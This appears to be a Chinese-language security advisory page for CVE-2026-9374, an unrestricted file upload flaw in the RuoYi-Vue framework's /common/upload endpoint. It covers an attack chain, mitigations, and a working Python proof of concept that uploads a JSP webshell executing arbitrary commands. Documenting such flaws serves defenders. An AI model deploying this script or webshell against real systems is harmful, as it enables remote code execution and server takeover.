IPBUF安全漏洞报告
English
CVE-2026-9374 CVSS 6.3 中危

CVE-2026-9374 若依RuoYi-Vue文件上传漏洞

披露日期: 2026-05-24

漏洞信息

漏洞编号
CVE-2026-9374
漏洞类型
无限制文件上传
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
yangzongzhuan RuoYi-Vue

相关标签

CVE-2026-9374RuoYi-Vue若依框架无限制文件上传Unrestricted File Upload远程代码执行Webshell上传文件上传漏洞中危漏洞

漏洞概述

CVE-2026-9374是存在于若依RuoYi-Vue框架中的一个高危文件上传漏洞。该漏洞位于/common/upload端点的FileUploadUtils.upload函数中,由于对上传文件的类型、内容和扩展名缺乏充分的验证和过滤,攻击者可以绕过安全限制上传任意类型的文件,包括恶意脚本和webshell。成功利用此漏洞可导致远程代码执行,严重威胁系统安全。攻击者无需高级权限即可发起攻击,只需拥有低权限账号即可利用此漏洞上传恶意文件。由于该框架广泛应用于企业级管理系统,此漏洞可能影响大量部署了该框架的系统。

技术细节

该漏洞源于RuoYi-Vue框架的文件上传功能对用户上传文件的验证不充分。攻击者可以通过构造特殊的HTTP请求,向/common/upload端点上传包含恶意代码的文件(如JSP、ASPX、PHP webshell或其他可执行脚本)。由于系统未正确检查文件扩展名、MIME类型和文件内容,恶意文件可以被成功上传到服务器指定目录。一旦恶意文件被上传,攻击者可以通过访问该文件来执行任意系统命令,从而获得服务器的完全控制权。攻击过程通常包括:1) 使用低权限账号登录系统;2) 构造包含webshell的文件;3) 通过文件上传接口上传恶意文件;4) 访问上传的文件并执行命令。此漏洞的利用难度较低,攻击复杂度为低,且无需用户交互即可完成攻击。

攻击链分析

STEP 1
1
攻击者使用低权限账号或通过其他方式获取的有效凭据登录RuoYi-Vue系统
STEP 2
2
构造包含恶意代码的文件(如JSP webshell),绕过客户端文件类型检查
STEP 3
3
向/common/upload端点发送HTTP POST请求,上传恶意文件
STEP 4
4
服务器未正确验证文件类型和内容,将恶意文件保存到可访问目录
STEP 5
5
攻击者通过HTTP请求访问上传的恶意文件,在URL中传递系统命令参数
STEP 6
6
服务器执行恶意文件中的代码,返回命令执行结果,攻击者获得服务器控制权

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2026-9374 PoC - RuoYi-Vue Unrestricted File Upload # Target: /common/upload endpoint def upload_webshell(target_url, username, password): """ Upload a JSP webshell to vulnerable RuoYi-Vue instance """ # Login to get session cookie login_url = f"{target_url}/login" login_data = { "username": username, "password": password } session = requests.Session() login_resp = session.post(login_url, json=login_data) if login_resp.status_code != 200: print(f"[-] Login failed") return None # JSP webshell content webshell = '''<%@ page import="java.util.*,java.io.*"%><%if (request.getParameter("cmd") != null) { Process p = Runtime.getRuntime().exec(request.getParameter("cmd")); OutputStream os = p.getOutputStream(); DataInputStream dis = new DataInputStream(p.getInputStream()); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); } }%>''' # File upload request upload_url = f"{target_url}/common/upload" files = { "file": ("shell.jsp", webshell, "application/octet-stream") } try: upload_resp = session.post(upload_url, files=files) if upload_resp.status_code == 200: print(f"[+] Webshell uploaded successfully!") print(f"[+] Access: {upload_resp.text}") return True except Exception as e: print(f"[-] Upload failed: {e}") return False if __name__ == "__main__": if len(sys.argv) < 4: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password>") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] upload_webshell(target, user, pwd)

影响范围

yangzongzhuan RuoYi-Vue <= 3.9.2

防御指南

临时缓解措施
在正式补丁发布前,可采取以下临时缓解措施:1) 在Web应用防火墙(WAF)上配置规则,限制/common/upload端点的访问,对上传文件的类型进行严格过滤;2) 将上传目录设置为只读权限并移除执行权限;3) 禁用上传目录的脚本执行权限(如配置nginx/apache禁止执行.php/.jsp/.asp等脚本);4) 实施文件内容扫描,对包含危险关键字的上传文件进行拦截;5) 限制上传文件大小和类型,使用白名单机制;6) 加强对该接口的访问控制和日志审计。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表